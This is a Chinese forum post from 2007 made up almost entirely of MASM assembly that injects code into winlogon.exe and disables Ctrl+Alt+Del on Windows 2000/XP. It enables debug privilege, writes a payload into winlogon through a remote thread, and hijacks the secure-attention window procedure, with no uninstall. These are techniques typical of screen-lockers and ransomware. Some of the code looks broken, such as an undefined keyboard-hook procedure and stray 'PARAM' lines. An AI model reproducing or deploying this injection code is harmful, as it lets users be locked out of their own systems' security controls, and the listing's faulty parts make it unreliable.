2122 积分	13 好友	374 主题

发消息

在window2k&XP下屏蔽Ctrl＋Alt＋del

1楼

发表于 2007-4-20 14:14:29 | 查看: 2383| 回复: 0

[font=宋体, Verdana, Arial, Helvetica, sans-serif][size=14px][color=#008000];在window2k&XP下屏蔽Ctrl＋Alt＋del[/color]
[color=#008000];by 来自轻院的狼[immlep][/color]
[color=#008000];http://immlep.blogone.net[/color]
[color=#008000];注射代码到winlogon.exe,接管SAS消息处理函数,屏蔽Ctrl＋Alt＋del[/color]
[color=#008000];注:本注射的代码中还没有实现卸载的方法,运行本程序后.Ctrl＋Alt＋del将会一直被屏蔽,除非重启或自己卸载代码.[/color]
[color=#008000];编译链接时要将代码段设为可写[/color]

[/size][/font][code].386
.model flat,stdcall
option casemap :none

include windows.inc
include kernel32.inc
include user32.inc
include advapi32.inc

includelib kernel32.lib
includelib user32.lib
includelib advapi32.lib

NewSASProc PROTO :HWND,:UINT,:WPARAM

PARAM

szText MACRO Name, Text:VARARG
LOCAL lbl
   jmp lbl
      Name db Text,0
   lbl:
ENDM
.data
hProcess             dd 0
hSnapshot             dd 0
ph                   dd 0
szUserBase             dd 0
injection_base                   dd 0
dwSize                   dd 0
szkernel32             db 'kernel32.dll',0
szuser32             db 'user32.dll',0
szSetWindowLong                   db 'SetWindowLongA',0
szFindWindow                   db 'FindWindowA',0
szCallWindowProc                db 'CallWindowProcA',0
szExitThread                   db 'ExitThread',0
szWinlogon             db 'winlogon.exe',0

uProcess PROCESSENTRY32 <0>

szfname          db 0  dup(30h)
.code
_injection:
      call @F
      szwindowtext    db 'SAS window',0
      @@:
      call @F
      szclass          db 'SAS Window class',0
      @@:
      db 0B8h
      _FindWindow    dd 0
      call eax                ;查找窗口
      call Local1
      Local1:
      add dword ptr[esp],offset LocalX-offset Local1 ;NewSASProc
      push GWL_WNDPROC
      push eax
      db 0B8h
      _SetWindowLong  dd 0    ;修改窗口处理地址，让我们的代码接管
      call eax
      push eax
      call @F
      OldSASPro dd 0
      @@:
      pop eax
      pop [eax]
      push 0
      db 0b8h
      _ExitThread    dd 0
      call eax
      LocalX:
;-------------------------
;新的窗口处理函数
;-------------------------
NewSASProc proc hWin:HWND,uMsg:UINT,wParam:WPARAM,lParam

PARAM
   mov eax,uMsg
   .if  eax==WM_HOTKEY
      .if lParam==02E0003h
            mov eax,0       ;屏蔽
      .endif
      comment  ~
      ;下面代码与上面代码等价
      mov eax,lParam
      push edx
      mov edx,VK_DELETE
      shl edx,10h
      mov dx,VK_CONTROL
      xor  dx,VK_ALT ;VK_ALT==12h
      cmp eax,edx
      jnz @F
      mov eax,0
      @@:
      pop edx ~
   .else
      push lParam
      push wParam
      push uMsg
      push hWin
      call  @F
      @@:
      pop eax
      sub eax,03Eh    ;OldSASPro
      push [eax]
      db       0B8h
      _CallWindowProc dd    0
      call       EAX
   .endif
   ret
NewSASProc endp
injection_size equ       $-_injection
Start:

   invoke GetModuleHandle,NULL
   .if eax ==0
      invoke GetModuleFileName,NULL,addr szfname,30h
      invoke LoadLibrary,addr szfname
   .endif
   invoke SetWindowsHookEx,WH_KEYBOARD_LL,addr hookproc,eax,0
   invoke LoadLibrary,addr szkernel32
   invoke GetProcAddress,eax,addr szExitThread
   mov _ExitThread,eax
   invoke LoadLibrary,addr szuser32
   mov szUserBase,eax
   invoke GetProcAddress,eax,addr szSetWindowLong
   mov _SetWindowLong,eax
   invoke GetProcAddress,szUserBase,addr szFindWindow
   mov _FindWindow,eax
   invoke GetProcAddress,szUserBase,addr szCallWindowProc
   mov _CallWindowProc,eax
   call _EnableDebugPrivilege
   invoke CreateToolhelp32Snapshot, 2, 0
   mov hSnapshot, eax
   mov uProcess.dwSize, sizeof uProcess
   invoke Process32First, hSnapshot, ADDR uProcess
   mov hProcess, eax
   .while hProcess!=0
      lea eax,uProcess.szExeFile
      invoke lstrcmp,addr szWinlogon,eax
      jnz @F
      invoke  OpenProcess, PROCESS_ALL_ACCESS, NULL,uProcess.th32ProcessID
      mov       ph, eax
      jmp skip
      @@:
      invoke Process32Next, hSnapshot, ADDR uProcess
      mov hProcess, eax
   .endw
   skip:
   invoke CloseHandle, hSnapshot
   invoke    VirtualAllocEx,ph,NULL,injection_size,MEM_COMMIT,PAGE_EXECUTE_READWRITE
   mov       injection_base, EAX
   invoke    WriteProcessMemory,ph,EAX,addr _injection,injection_size,NULL
   invoke    CreateRemoteThread,ph,NULL, 0,injection_base,NULL, 0, 0
   invoke    CloseHandle,ph
   invoke    ExitProcess,NULL
_EnableDebugPrivilege  proc
local  @hToken
local  @tp:TOKEN_PRIVILEGES
szText SE_DEBUG_NAME_Y,"SeDebugPrivilege"
invoke  GetCurrentProcess
lea  ecx,@hToken
invoke  OpenProcessToken,eax,TOKEN_ALL_ACCESS,ecx
mov  @tp.PrivilegeCount,1
invoke  LookupPrivilegeValue,NULL,addr SE_DEBUG_NAME_Y,addr @tp.Privileges[0].Luid
mov  @tp.Privileges[0].Attributes,SE_PRIVILEGE_ENABLED
invoke  AdjustTokenPrivileges,@hToken,FALSE,addr @tp,sizeof @tp,NULL,NULL
push  eax
invoke  CloseHandle,@hToken
pop  eax
ret
_EnableDebugPrivilege  endp
end Start[/code]

分享到: QQ空间 腾讯微博 腾讯朋友

转发到微博

收藏0 回复只看该作者道具举报

返回列表